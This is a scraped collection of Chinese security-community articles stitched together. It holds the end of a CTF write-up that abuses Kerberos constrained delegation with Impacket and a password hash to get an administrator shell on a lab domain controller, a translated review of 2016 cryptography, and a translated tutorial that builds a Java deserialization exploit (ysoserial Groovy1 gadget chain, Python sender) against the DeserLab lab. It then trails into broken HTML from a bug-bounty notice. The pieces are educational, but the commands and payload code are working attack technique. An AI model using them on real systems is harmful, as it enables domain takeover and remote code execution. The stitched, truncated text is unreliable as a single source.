memberof : CN=Remote Desktop Users,CN=Builtin,DC=n1ctf,DC=lab
lastlogon : 10/20/2020 4:18:53 PM
badpwdcount : 0
cn : usera
useraccountcontrol : NORMAL_ACCOUNT, TRUSTED_TO_AUTH_FOR_DELEGATION
whencreated : 10/14/2020 11:34:56 AM
primarygroupid : 513
pwdlastset : 10/14/2020 7:34:56 PM
usnchanged : 12806
使用usera模拟administrator拿到一张票据
ha1c9on@ha1c9ondeMacBook-Pro ~ % getTGT.py n1ctf.lab/usera@DC -dc-ip 10.233.33.9 -hashes 0e6f592cca96684334fb4da3757f7f42:0e6f592cca96684334fb4da3757f7f42
Impacket v0.9.22.dev1 - Copyright 2020 SecureAuth Corporation[*] Saving ticket in usera@DC.ccacheha1c9on@ha1c9ondeMacBook-Pro ~ % export KRB5CCNAME=usera@DC.ccache ha1c9on@ha1c9ondeMacBook-Pro ~ % getST.py n1ctf.lab/usera -dc-ip 10.233.33.9 -spn HOST/DC -impersonate administrator -k -no-passImpacket v0.9.22.dev1 - Copyright 2020 SecureAuth Corporation[*] Using TGT from cache[*] Impersonating administrator[*] Requesting S4U2self[*] Requesting S4U2Proxy[*] Saving ticket in administrator.ccache
psexec.py提权
ha1c9on@ha1c9ondeMacBook-Pro ~ % export KRB5CCNAME=administrator.ccacheha1c9on@ha1c9ondeMacBook-Pro ~ % psexec.py n1ctf.lab/administrator@DC -k -no-pass -dc-ip 10.233.33.9
Impacket v0.9.22.dev1 - Copyright 2020 SecureAuth Corporation[*] Requesting shares on DC.....[*] Found writable share ADMIN$[*] Uploading file mUZEGJSy.exe[*] Opening SVCManager on DC.....[*] Creating service qEFC on DC.....[*] Starting service qEFC.....[!] Press help for extra shell commandsMicrosoft Windows [Version 10.0.17763.1518](c) 2018 Microsoft Corporation. All rights reserved.C:\Windows\system32>hostnamedc
成功拿下dc
## 后记：
n1ctf这几道题让我学到了很多知识，希望能给各位师傅一点帮助
## 参考：
https://www.notion.so/N1CTF-King-of-phish-20f2714fc85d40a7bc0d1666b29bf43f
https://xz.aliyun.com/t/7454 | 社区文章 |
# 【技术分享】2016年密码学的技术发展回顾
|
##### 译文声明
本文是翻译文章，文章来源：eff.org
原文地址：<https://www.eff.org/deeplinks/2016/12/what-happened-crypto-2016>
译文仅供参考，具体内容表达以及含义原文为准。
**翻译：**[ **WisFree**
****](http://bobao.360.cn/member/contribute?uid=2606963099)
**预估稿费：200RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:linwei@360.cn) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
对于密码学来说，与2015年相比，2016年也许并不算是里程碑式的一年，但是世界各地的广大安全研究人员仍然在通过自己的努力来推进密码学领域的研究与发展。
**TLS 1.3正式发布**
2016年，密码学领域实践性最强的一个进步就是[TLS
1.3](https://tlswg.github.io/tls13-spec/)（传输层安全协议1.3版本）的正式发布。TLS是目前最重要的、使用最为广泛的加密协议，它也承担着保护互联网通信安全的重要任务。数百位安全研究人员与工程师通过多年的研究和努力设计出了新的TLS协议标准，目前市面上的多个主流Web浏览器都支持TLS协议，例如火狐浏览器、Chrome、以及Opera等。虽然从名字上来看，很多人会认为TLS
1.3只是对TLS 1.2进行了小幅度更新，但实际上TLS 1.3相当于对TLS
1.2整体重新进行了设计。所以我们认为应该给它取个其他的名字，这样才能突出TLS 1.3的提升幅度。
用户所能体验到的TLS 1.3最明显的一个变化是什么呢？那就是速度！TLS
1.3通过减少网络往返时延（RTT）来提升了网络通信的速度，这种特性在早期的TLS版本中曾通过[QUIC协议](https://www.chromium.org/quic)和[TLS
False
Start](https://en.wikipedia.org/wiki/Transport_Layer_Security#Protocol_downgrade_attackshttps://tools.ietf.org/html/rfc7918)有过体现，但是作为TLS
1.3默认的自带属性，这种特性也许在将来会成为一种趋势。因为降低了网络往返时延，也就意味着网站和相应页面的加载速度将会变得更快。
除此之外，在这十几年来，TLS遇到过很多问题，而TLS 1.3从这些经验中吸取了教训，所以TLS 1.3在安全方面也有很大的改进。另外，TLS
1.3移除了某些旧版协议功能和过时加密算法的支持，这样可以使协议更加简洁。值得一提的是，安全社区在TLS
1.3的设计过程中就已经开始对其规范和标准进行安全分析了，而不是等到协议得到大范围使用之后才对其安全性进行评估，因为当协议被广泛使用之后，再想要去修复其中的漏洞就非常困难了。
**对后量子密码学的探究仍在继续**
密码学界现在仍在努力设法从目前所使用的加密算法过渡到后量子密码算法，因为如果量子计算机真的诞生了，那么我们目前所使用的加密算法中有很多都会变得不安全。
自从美国国家标准及技术研究所（NIST）在去年正式公布了针对后量子算法的标准化项目之后，密码学界有更多的人开始将自己的研究方向放在了后量子密码学算法的身上。NIST在今年二月份首次发布了一份关于后量子密码的[研究报告](http://csrc.nist.gov/publications/drafts/nistir-8105/nistir_8105_draft.pdf)，并在今年八月份给出了一份[算法提议草案](http://csrc.nist.gov/groups/ST/post-quantum-crypto/)。但是密码学界目前也仍在争论一个问题，即后量子算法的实际目标到底应该是什么？
在Google目前正在进行的一项[实验](https://security.googleblog.com/2016/07/experimenting-with-post-quantum.html)中，研究人员希望使用新型的[后量子密钥交换算法](https://www.usenix.org/system/files/conference/usenixsecurity16/sec16_paper_alkim.pdf)来保护Google服务器与Chrome浏览器之间的网络通信数据，而这也是目前后量子密码算法在真实世界中的首次实践。从[实验结果](https://www.imperialviolet.org/2016/11/28/cecpq1.html)来看，计算成本虽然可以忽略不计，但是由于密钥体积过大，所以会导致带宽的消耗量增加。与此同时，还有[一个团队](https://eprint.iacr.org/2016/659.pdf)正在研究如何使用不同的算法来将量子密钥交换添加进TLS协议中。
关于后量子密码学方面的内容，我们目前仍然有很多不知道的地方，但是广大研究人员正在通过自己的努力来探索后量子密码将会如何改变我们的实际生活和工作。
**加密算法中的后门**
“[kleptography](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.407.2398&rep=rep1&type=pdf)”这个术语出现在1996年，而它描述的是这样一种概念：设计出来的加密系统或加密算法看起来非常的安全，但实际上它们却饱含隐藏的后门。但是斯诺登事件告诉我们，美国国家安全局（NSA）故意在[DUAL_EC伪随机数生成器](http://dualec.org/)中植入了后门，而这也使得越来越多的研究人员开始研究加密算法中存在的隐藏后门了。
一个由法国和美国的安全人员所组成的研究团队通过[研究发现](https://eprint.iacr.org/2016/961.pdf)，我们可以通过计算来选取一个不安全的素数，而这个素数将使我们计算离散对数的过程变得更加简单。这也就意味着，目前已得到广泛使用的Diffie-Hellman密钥交换算法是不安全的。
更加糟糕的是，我们很难从真正的随机素数中区分出这种后门素数。
RFC 5114:另一个存在后门的加密标准，罪魁祸首竟是NIST？
说到密码后门，安全研究人员在今年还发现了另一个存在后门的加密标准，即RFC
5114。这个标准诞生于2008年，它是由美国国防承包商BBN设计，并由NIST发布，可能只有少数人知道这个标准。它定义了八个Diffie-Hellman分组，这些分组可以与IETF协议共同为互联网通信提供安全保护。
但是研究人员发现，他们无法确定该算法中的某些分组密码是如何生成的，如果在使用前没有对其相关参数进行审查的话，那么这个加密算法将易受黑客的攻击。因此，很多人认为这个标准中是存在隐藏后门的，但是我们却没有任何证据可以证明这一点。NIST的一位密码学专家表示，这个标准是用来给实验人员提供测试数据的，我们并不建议人们在真实环境中使用这个标准。当然了，加密标准中存在安全问题也有可能只是其本身安全性不足，但是这一切似乎也开始让人们失去了对NIST这个密码标准化组织的信心。
**网络攻击多样化**
2016年，安全研究人员发现了很多新型的攻击技术，其中有些是此前攻击技术的升级版。下面是我们给出的一些值得关注的例子：
[DROWN攻击](https://drownattack.com/)利用旧版本SSLv2协议中的漏洞入侵Web服务器的RSA签名密钥，这与之前很多针对TLS/SSL的攻击类似，例如[POODLE](https://en.wikipedia.org/wiki/POODLE)和[FREAK](https://en.wikipedia.org/wiki/FREAK)攻击等等。
[Sweet32攻击](https://sweet32.info/#about)表明，旧版本的64位分组密码（尤其是[3DES](https://en.wikipedia.org/wiki/Triple_DES)和[Blowfish](https://en.wikipedia.org/wiki/Blowfish_\(cipher\))）存在安全漏洞，漏洞会导致其在CBC模式下无法抵御碰撞攻击。
针对椭圆曲线算法[新型攻击技术](https://ellipticnews.wordpress.com/2016/05/02/kim-barbulescu-variant-of-the-number-field-sieve-to-compute-discrete-logarithms-in-finite-fields/)被发现，受影响的包括[Barreto-Naehrig](https://tools.ietf.org/id/draft-kasamatsu-bncurves-01.html)（BN）曲线在内。
生成数的随机性仍然是密码学中的一个脆弱点：如果你无法生成真正的随机数，你就无法创建出真正不可预测的加密密钥。
**
**
**辞旧迎新？HTTPS正在成长**
到2016年，SHA-1哈希函数已经有21年的历史了，但是从来没人为它庆祝过生日。不仅如此，这个算法也已经到了退休的时候了，而且微软、谷歌、以及Mozilla都已经宣布将在2017年不再接受SHA-1证书。由此看来，安全社区也希望在SHA-1完全崩溃之前取消该函数的使用。
随着互联网产业的蓬勃发展，衍生出种种问题不得不被大家所重视，在互联网安全意识相对薄弱的中国显得尤为重点。而百度优先收录https网站这一举措对互联网安全环境有着指引性的作用，更多的企业会逐步将网站从Http转换成Https，这样能够营造一个更为安全的互联网大环境。随着百度、谷歌、火狐等互联网巨头对https的“提携”，2017年https在国内将迎来发展良机。 | 社区文章 |
# 【技术分享】Java反序列化漏洞从理解到实践
|
##### 译文声明
本文是翻译文章，文章来源：diablohorn.com
原文地址：<https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
在学习新事物时，我们需要不断提醒自己一点：纸上得来终觉浅，绝知此事要躬行。这也是为什么我们在学到知识后要付诸实践的原因所在。在本文中，我们会深入分析大家非常熟悉的
**Java发序列化漏洞** 。对我们而言，最好的实践就是真正理解手头掌握的知识，并可以根据实际需要加以改进利用。本文的主要内容包括以下两方面：
**1\. 利用某个反序列化漏洞。**
**2\. 自己手动创建利用载荷。**
更具体一点，首先我们会利用现有工具来实际操作反序列化漏洞，也会解释操作的具体含义，其次我们会深入分析载荷相关内容，比如什么是载荷、如何手动构造载荷等。完成这些步骤后，我们就能充分理解载荷的工作原理，未来碰到类似漏洞时也能掌握漏洞的处理方法。
整个过程中需要用到的工具都会在本文给出，但我建议你先了解一下这个工具：
https://github.com/NickstaDB/DeserLab
该工具包含我们准备实践的漏洞。之所以选择使用模拟漏洞而不是实际目标，原因在于我们可以从各个方面控制这个漏洞，因此也可以更好理解反序列化漏洞利用的工作原理。
**
**
**二、利用DeserLab漏洞**
首先你可以先读一下Nick写的这篇[文章](https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/)， 文章中介绍了 **DeserLab**
以及Java反序列化相关内容。本文会详细介绍Java序列化协议的具体细节。阅读完本文后，你应该可以自己搞定DeserLab环境。接下来我们需要使用各种预编译jar工具，所以我们可以先从[Github](https://github.com/NickstaDB/)上下载这些工具。现在准备步入正题吧。
碰到某个问题后，我通常的做法是先了解目标的正常工作方式。对于DeserLab来说，我们需要做以下几件事情：
**运行服务器及客户端**
**抓取通信流量
**
**理解通信流量**
我们可以使用如下命令来运行服务器及客户端：
java -jar DeserLab.jar -server 127.0.0.1 6666
java -jar DeserLab.jar -client 127.0.0.1 6666
上述命令的运行结果如下：
java -jar DeserLab.jar -server 127.0.0.1 6666
[+] DeserServer started, listening on 127.0.0.1:6666
[+] Connection accepted from 127.0.0.1:50410
[+] Sending hello...
[+] Hello sent, waiting for hello from client...
[+] Hello received from client...
[+] Sending protocol version...
[+] Version sent, waiting for version from client...
[+] Client version is compatible, reading client name...
[+] Client name received: testing
[+] Hash request received, hashing: test
[+] Hash generated: 098f6bcd4621d373cade4e832627b4f6
[+] Done, terminating connection.
java -jar DeserLab.jar -client 127.0.0.1 6666
[+] DeserClient started, connecting to 127.0.0.1:6666
[+] Connected, reading server hello packet...
[+] Hello received, sending hello to server...
[+] Hello sent, reading server protocol version...
[+] Sending supported protocol version to the server...
[+] Enter a client name to send to the server:
testing
[+] Enter a string to hash:
test
[+] Generating hash of "test"...
[+] Hash generated: 098f6bcd4621d373cade4e832627b4f6
上述结果并不是我们想要的信息，我们想问的问题是，这个环境如何实现反序列化功能？为了回答这个问题，我们可以使用wireshark、tcpdump或者tshark来捕捉6666端口上的流量。我们可以使用如下命令，利用tcpdump来捕捉流量：
tcpdump -i lo -n -w deserlab.pcap 'port 6666'
在继续阅读本文之前，你可以先用wireshark来浏览一下pcap文件。读完Nick的文章后，你应该已经了解目前所处的状况，至少能够识别出隐藏在流量中的序列化Java对象。
**2.1 提取序列化数据**
根据这些流量，我们可以肯定的是网络中有序列化数据正在传输，现在让我们来分析哪些数据正在传输。我选择使用[
**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)工具来解析这些流量，这个工具属于我们要用的工具集之一，作用与[
**jdeserialize**](https://github.com/frohoff/jdeserialize/tree/master/jdeserialize)类似，后者属于闻名已久且尚能发挥作用的老工具。在使用这些工具之前，我们需要先准备好待处理数据，因此，我们需要将pcap转换为可待分析的数据格式。
tshark -r deserlab.pcap -T fields -e tcp.srcport -e data -e tcp.dstport -E separator=, | grep -v ',,' | grep '^6666,' | cut -d',' -f2 | tr 'n' ':' | sed s/://g
这条命令虽然看起来很长，但至少能正常工作。我们可以将这条命令分解为更好理解的子命令，因为该命令的功能是将pcap数据转换为经过十六进制编码的一行输出字符串。首先，该命令将pcap转换为文本，文本中只包含传输的数据、TCP源端口号以及目的端口号：
tshark -r deserlab.pcap -T fields -e tcp.srcport -e data -e tcp.dstport -E separator=,
结果如下所示：
50432,,6666
6666,,50432
50432,,6666
50432,aced0005,6666
6666,,50432
6666,aced0005,50432
如上述结果所示，在TCP三次握手期间并没有传输数据，因此你可以看到',,'这样一段文本。随后，客户端发送第一个字节，服务器返回ACK报文，然后再发回某些字节数据，以此类推。命令的第二个功能是继续处理这些文本，根据端口以及每一行的开头部分来选择输出合适的载荷：
| grep -v ',,' | grep '^6666,' | cut -d',' -f2 | tr 'n' ':' | sed s/://g
这条过滤命令会将服务器的响应数据提取出来，如果你想要提取客户端数据，你需要改变端口号。处理结果如下所示：
aced00057704f000baaa77020101737200146e622e64657365722e486[...]
这些数据正是我们需要的数据，它将发送和接收数据以较为简洁的方式表示出来。我们可以使用前面提到的两个工具来处理这段数据，首先我们使用的是SerializationDumper，然后我们会再使用jdeserialize。之所以要这么做，原因在于使用多个工具来处理同一个任务可以便于我们分析潜在的错误或问题。如果你坚持使用一个工具的话，你可能会不小心走进错误的死胡同。当然尝试不同的工具本身就是一件非常有趣的事情。
**2.2 分析序列化数据** ****
SerializationDumper工具的使用非常简单直白，我们只需要将十六进制形式的序列化数据作为第一个参数传输进去即可，如下所示：
java -jar SerializationDumper-v1.0.jar aced00057704f000baaa77020101
结果如下所示：
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_BLOCKDATA - 0x77
Length - 4 - 0x04
Contents - 0xf000baaa
TC_BLOCKDATA - 0x77
Length - 2 - 0x02
Contents - 0x0101
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 20 - 0x00 14
Value - nb.deser.HashRequest - 0x6e622e64657365722e4861736852657175657374
我们需要编译才能使用jdeserialize工具。编译任务可以使用[ant](http://ant.apache.org/)以及build.xml文件来完成，我选择手动编译方式，具体命令如下：
mkdir build
javac -d ./build/ src/*
cd build
jar cvf jdeserialize.jar *
上述命令可以生成jar文件，你可以使用如下命令输出帮助信息以测试jar文件是否已正确生成：
java -cp jdeserialize.jar org.unsynchronized.jdeserialize
jdeserialize工具需要一个输入文件，因此我们可以使用python之类的工具将十六进制的序列化数据保存成文件，如下所示（我缩减了十六进制字符串以便阅读）：
open('rawser.bin','wb').write('aced00057704f000baaa77020146636'.decode('hex'))
接下来，我们使用待处理文件名作为第一个参数，传递给jdeserialize工具，处理结果如下所示：
java -cp jdeserialize.jar org.unsynchronized.jdeserialize rawser.bin
read: [blockdata 0x00: 4 bytes]
read: [blockdata 0x00: 2 bytes]
read: nb.deser.HashRequest _h0x7e0002 = r_0x7e0000;
//// BEGIN stream content output
[blockdata 0x00: 4 bytes]
[blockdata 0x00: 2 bytes]
nb.deser.HashRequest _h0x7e0002 = r_0x7e0000;
//// END stream content output
//// BEGIN class declarations (excluding array classes)
class nb.deser.HashRequest implements java.io.Serializable {
java.lang.String dataToHash;
java.lang.String theHash;
}
//// END class declarations
//// BEGIN instance dump
[instance 0x7e0002: 0x7e0000/nb.deser.HashRequest
field data:
0x7e0000/nb.deser.HashRequest:
dataToHash: r0x7e0003: [String 0x7e0003: "test"]
theHash: r0x7e0004: [String 0x7e0004: "098f6bcd4621d373cade4e832627b4f6"]
]
//// END instance dump
从这两个分析工具的输出中，我们首先可以确认的是，这段数据的确是序列化数据。其次，我们可以确认的是，客户端和服务器之间正在传输一个“nb.deser.HashRequest”对象。结合工具的输出结果以及前面的wireshark抓包数据，我们可知用户名以字符串形式存储在TC_BLOCKDATA类型中进行传输：
TC_BLOCKDATA - 0x77
Length - 9 - 0x09
Contents - 0x000774657374696e67
'000774657374696e67'.decode('hex')
'x00x07testing'
现在我们对DeserLab客户端与服务器之间的通信过程已经非常熟悉，接下来我们可以使用ysoserial工具来利用这个过程。
**2.3 利用DeserLab中的漏洞**
根据pcap的分析结果以及序列化数据的分析结果，我们已经非常熟悉整个环境的通信过程，因此我们可以构建自己的python脚本，脚本中可以嵌入ysoserial载荷。为了保持代码的简洁，也为了匹配wireshark数据流，我决定使用类似wireshark数据流的方式来实现这段代码，如下所示：
mydeser = deser(myargs.targetip, myargs.targetport)
mydeser.connect()
mydeser.javaserial()
mydeser.protohello()
mydeser.protoversion()
mydeser.clientname()
mydeser.exploit(myargs.payloadfile)
你可以在[这里](https://gist.github.com/DiabloHorn/8630948d953386d2ed575e17f8635ee7)找到完整版的代码。
如你所见，最简单的方法是将所有java反序列化交换数据硬编码到代码中。你可能对代码的具体写法有些疑问，比如为什么`mydeser.exploit(myargs.payloadfile)`位于`mydeser.clientname()`之后，以及我根据什么来决定代码的具体位置。因此我想解释一下我的思考过程，也顺便介绍一下如何生成并发送ysoserial载荷。
在读完有关Java反序列化的几篇文章之后（见本文的参考资料），我总结了两点思想：
1、大多数漏洞都与Java对象的反序列化有关。
2、大多数漏洞都与Java对象的反序列化有关。
开个玩笑而已。所以如果我们检查服务器与客户端的信息交互过程，我们可以在某个地方找到Java对象的交换过程。我们很容易就能在序列化数据的分析结果中找到这个目标，因为它要么包含“TC_OBJECT
– 0x73”特征，要么包含如下数据：
//// BEGIN stream content output
[blockdata 0x00: 4 bytes]
[blockdata 0x00: 2 bytes]
[blockdata 0x00: 9 bytes]
nb.deser.HashRequest _h0x7e0002 = r_0x7e0000;
//// END stream content output
从以上输出中，我们可以看到流数据的最后一部分内容为“nb.deser.HashRequest”对象。读取这个对象的位置正是交换过程的最后一部分，这也解释了为什么漏洞利用函数位于代码的末尾。现在我们已经知道漏洞利用载荷的存放位置，我们怎么样才能生成并发送载荷呢？
DeserLab本身的代码其实没有包含任何可利用的东西，具体原因下文会解释，现在我们只需要接受这个事实即可。这意味着我们需要查找其他程序库，从中挖掘能帮助我们的代码。DeserLab仅仅包含一个Groovy库，这足以给我们足够多的提示来生成ysoserial载荷。在现实世界中，我们往往需要亲自反汇编未知程序库，才能寻找到有用的代码，这些代码也可以称为漏洞利用的小工具（gadget）。
掌握库信息后，载荷的生成就会变得非常简单，命令如下所示：
java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar Groovy1 'ping 127.0.0.1' > payload.bin
需要注意的是，载荷发送后不会返回任何响应，因此如果我们想确认载荷是否工作正常，我们需要一些方法来检测。在实验环境中，一个ping
localhost命令足以，但在实际环境中，我们需要找到更好的方式。
现在万事俱备，是不是只需要发送载荷就可以大功告成？差不多是这个样子，但我们不要忘了Java序列化头部交换过程在这之前已经完成，这意味着我们需要剔除载荷头部的前4个字节，然后再发送载荷：
./deserlab_exploit.py 127.0.0.1 6666 payload_ping_localhost.bin
2017-09-07 22:58:05,401 - INFO - Connecting
2017-09-07 22:58:05,401 - INFO - java serialization handshake
2017-09-07 22:58:05,403 - INFO - protocol specific handshake
2017-09-07 22:58:05,492 - INFO - protocol specific version handshake
2017-09-07 22:58:05,571 - INFO - sending name of connected client
2017-09-07 22:58:05,571 - INFO - exploiting
如果一切顺利的话，你可以看到如下输出：
sudo tcpdump -i lo icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
22:58:06.215178 IP localhost > localhost: ICMP echo request, id 31636, seq 1, length 64
22:58:06.215187 IP localhost > localhost: ICMP echo reply, id 31636, seq 1, length 64
22:58:07.215374 IP localhost > localhost: ICMP echo request, id 31636, seq 2, length 64
非常好，我们成功利用了DeserLab的漏洞。接下来我们需要好好理解一下我们发往DeserLab的载荷的具体内容。
**
**
**三、手动构建载荷**
想要理解载荷的工作原理，最好的方法就是自己手动重建一模一样的载荷，也就是说，我们需要写Java代码。问题是，我们需要从何处开始？正如我们前面对pcap的分析一样，我们可以观察一下序列化载荷。使用如下这条命令，我们可以将载荷转换为十六进制字符串，然后我们就可以使用SerializationDumper来分析这个字符串，当然如果你喜欢的话，你也可以使用jdeserialize来分析文件。
open('payload.bin','rb').read().encode('hex
现在我们可以深入分析一下，理解具体的工作过程。话说回来，当理清这些问题后，你可能会找到另一篇文章详细介绍了整个过程，所以如果愿意的话，你可以跳过
这部分内容，直接阅读这篇[文章](https://www.sourceclear.com/registry/security/remote-code-execution-through-object-deserialization/java/sid-1710/technical)。接下来的文章着重介绍了我所使用的方法。在我使用的方法中，非常重要的一点就是阅读ysoserial中关于这个漏洞利用部分的源码。我不想重复提及这一点，如果你纳闷我怎么找到具体的工作流程，我会让你去阅读ysoserial的实现代码。
将载荷传给工具处理后，这两个工具都会生成非常长的输出信息，包含各种Java类代码。其中我们主要关注的类是输出信息中的第一个类，名为“sun.reflect.annotation.AnnotationInvocationHandler”。这个类看起来非常眼熟，因为它是许多反序列利用代码的入口点。我还注意到其他一些信息，包括“java.lang.reflect.Proxy”、“org.codehaus.groovy.runtime.ConvertedClosure”以及“org.codehaus.groovy.runtime.MethodClosure”。这些类之所以引起我的注意，原因在于它们引用了我们用来利用漏洞的程序库，此外，网上关于Java反序列化漏洞利用的文章中也提到过这些类，我在ysoserial源码中也见过这些类。
我们需要注意一个重要概念，那就是当你在执行反序列化攻击操作时，你发送的实际上是某个对象的“已保存的”状态。也就是说，你完全依赖于接收端的行为模式，更具体地说，你依赖于接收端在反序列化你发送的“已保存的”状态时所执行的具体操作。如果另一端没有调用你所发送的对象中的任何方法，你就无法达到远程代码执行目的。这意味着你唯一能改变的只是操作对象的属性信息。
理清这些概念后我们可知，如果我们想获得代码执行效果，我们所发送的第一个类中的某个方法需要被自动调用，这也解释了为什么第一个类的地位如此重要。如果我们观察[AnnotationInvocationHandler](http://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/6-b27/sun/reflect/annotation/AnnotationInvocationHandler.java)的代码，我们可以看到其构造函数接受一个java.util.map对象，且readObject方法会调用Map对象上的一个方法。如果你阅读过其他文章，那么你就会知道，当数据流被反序列化时会自动调用readObject方法。基于这些信息，再从其他文章来源借鉴部分代码，我们就可以着手构建自己的漏洞利用代码，如下所示。如果你想理解代码内容，你可以先参考一下Java中的[反射（reflection）](https://stackoverflow.com/questions/37628/what-is-reflection-and-why-is-it-useful)机制。
//this is the first class that will be deserialized
String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
//access the constructor of the AnnotationInvocationHandler class
final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
//normally the constructor is not accessible, so we need to make it accessible
constructor.setAccessible(true);
你可以使用如下命令来编译并运行这段代码，虽然目前它还没有什么实际功能：
javac ManualPayloadGenerateBlog
java ManualPayloadGenerateBlog
当你拓展这段代码的功能时，请牢记以下几点：
**碰到错误代码时请及时Google。**
**类名需与文件名保持一致。**
**请熟练掌握Java语言。**
上述代码可以提供可用的初始入口点类以及构造函数，但我们具体需要往构造函数中传递什么参数呢？大多数例子中会使用如下这行代码：
constructor.newInstance(Override.class, map);
对于“map”参数我的理解是，首次调用readObject期间会调用map对象的“entrySet”方法。我不是特别明白第一个参数的内部工作机制，但我知道readObject方法内部会检查这个参数，以确认该参数为“AnnotionType”类型。我们为该参数提供了一个“Override”类，可以满足类型要求。
现在说到重点了。为了理解程序的工作原理，我们需要注意的是，第二个参数不是一个简单的Java
map对象，而是一个Java代理（Proxy）对象。我第一次接触到这个事实时也不明白这有什么具体含义。有一篇[文章](http://www.baeldung.com/java-dynamic-proxies)详细介绍了Java动态代理（Dynamic Proxies）机制的相关内容，也提供了非常好的示例代码。文章部分内容摘抄如下：
“
通过动态代理机制，仅包含1个方法的单一类可以使用多个调用接口为包含任意多个方法的任意类提供服务。动态代理的作用与封装（Facade）层类似，但你可以把它当成是任意接口的具体实现。抛去外表后，你会发现动态代理会把所有的方法调用导向单独的一个处理程序，即invoke()方法。
”
简单理解的话，代理对象可以假装成一个Java map对象，然后将所有对原始Map对象的调用导向对另一个类的某个方法的调用。让我们用一张图来梳理一下：
这意味着我们可以使用这种Map对象来拓展我们的代码，如下所示：
final Map map = (Map) Proxy.newProxyInstance(ManualPayloadGenerateBlog.class.getClassLoader(), new Class[] {Map.class}, <unknown-invocationhandler>);
需要注意的是，我们仍然需要匹配代码中的invocationhandler，现在我们还没填充这个位置。这个位置最终由Groovy来填充，目前为止我们仍停留在普通的Java类范围内。Groovy之所以适合这个位置，原因在于它包含一个InvocationHandler。因此，当InvocationHandler被调用时，程序最终会引导我们达到代码执行效果，如下所示：
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure("ping 127.0.0.1", "execute"), "entrySet");
final Map map = (Map) Proxy.newProxyInstance(ManualPayloadGenerateBlog.class.getClassLoader(), new Class[] {Map.class}, closure);
如你所见，上面代码中我们在invocationhandler填入了一个ConvertedClosure对象。你可以反编译Groovy库来确认这一点，当你观察ConvertedClosure类时，你可以看到它继承（extends
）自ConversionHandler类，反编译这个类，你可以看到如下代码：
public abstract class ConversionHandler
implements InvocationHandler, Serializable
从代码中我们可知，ConversionHandler实现了InvocationHandler，这也是为什么我们可以在代理对象中使用它的原因所在。当时我不能理解的是Groovy载荷如何通过Map代理来实现代码执行。你可以使用反编译器来查看Groovy库的代码，但通常情况下，我发现使用Google来搜索关键信息更为有效。比如说，这种情况下，我们可以在Google中搜索如下关键词：
“groovy execute shell command”
搜索上述关键词后，我们可以找到许多文章来解释这个问题，比如这篇[文章](https://stackoverflow.com/questions/159148/groovy-executing-shell-commands)以及这篇[文章](https://stackoverflow.com/questions/37068982/how-to-execute-shell-command-with-parameters-in-groovy)。这些解释的要点在于，String对象有一个名为“execute”的附加方法。我经常使用这种查询方法来处理我不熟悉的那些环境，因为对开发者而言，执行shell命令通常是一个刚需，而相关答案又经常可以在互联网上找到。理解这一点后，我们可以使用一张图来完整表达载荷的工作原理，如下所示：
你可以访问[此链接](https://gist.github.com/DiabloHorn/44d91d3cbefa425b783a6849f23b8aa7)获取完整版代码，然后使用如下命令编译并运行这段代码：
javac -cp DeserLab/DeserLab-v1.0/lib/groovy-all-2.3.9.jar ManualPayloadGenerate.java
java -cp .:DeserLab/DeserLab-v1.0/lib/groovy-all-2.3.9.jar ManualPayloadGenerate > payload_manual.bin
运行这段代码后，我们应该能够得到与ysoserial载荷一样的结果。令我感到惊奇的是，这些载荷的哈希值竟然完全一样。
sha256sum payload_ping_localhost.bin payload_manual.bin
4c0420abc60129100e3601ba5426fc26d90f786ff7934fec38ba42e31cd58f07 payload_ping_localhost.bin
4c0420abc60129100e3601ba5426fc26d90f786ff7934fec38ba42e31cd58f07 payload_manual.bin
感谢大家阅读本文，希望以后在利用Java反序列化漏洞的过程中，大家也能更好地理解漏洞利用原理。
**
**
**四、参考资料**
https://www.sourceclear.com/registry/security/remote-code-execution-through-object-deserialization/java/sid-1710/technical
https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/
https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
http://gursevkalra.blogspot.nl/2016/01/ysoserial-commonscollections1-exploit.html
https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
https://www.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilities-in-java-54707478
https://www.youtube.com/watch?v=VviY3O-euVQ
http://wouter.coekaerts.be/2015/annotationinvocationhandler
http://www.baeldung.com/java-dynamic-proxies
https://stackoverflow.com/questions/37068982/how-to-execute-shell-command-with-parameters-in-groovy
https://stackoverflow.com/questions/37628/what-is-reflection-and-why-is-it-useful | 社区文章 |
<div><span style="background-color:none;"><span style="font-family:微软雅黑, "
"="">亲爱的白帽子们：</span></div><div><span style="background-color:none;"><span
style="font-family:微软雅黑, "
"="">为了进一步激发各位的挖洞热情，先知（安全情报）12月“月度排行榜”活动继续进行，TOP10的安全专家将获得阿里提供的现金奖励。具体活动规则如下：</span></div><div>
</div><div><span style="background-color:none;"><span style="font-family:微软雅黑,
" "="">1、活动时间：<span style="background-color:none;"><span
style="color:#ff0000;">2016年12月1日-12月31日</span></span></span></div><div><span
style="background-color:none;"><span style="font-family:微软雅黑, " "=""><span
style="background-color:none;"><span style="color:#ff0000;"><br
/></span></span></span></div><div><span style="background-color:none;"><span
style="font-family:微软雅黑, " "="">2、参与对象：<span style="background-color:none;"><span
style="color:#ff0000;">每个在先知（安全情报）平台通过实名认证的白帽子</span></span></span></div><div><span
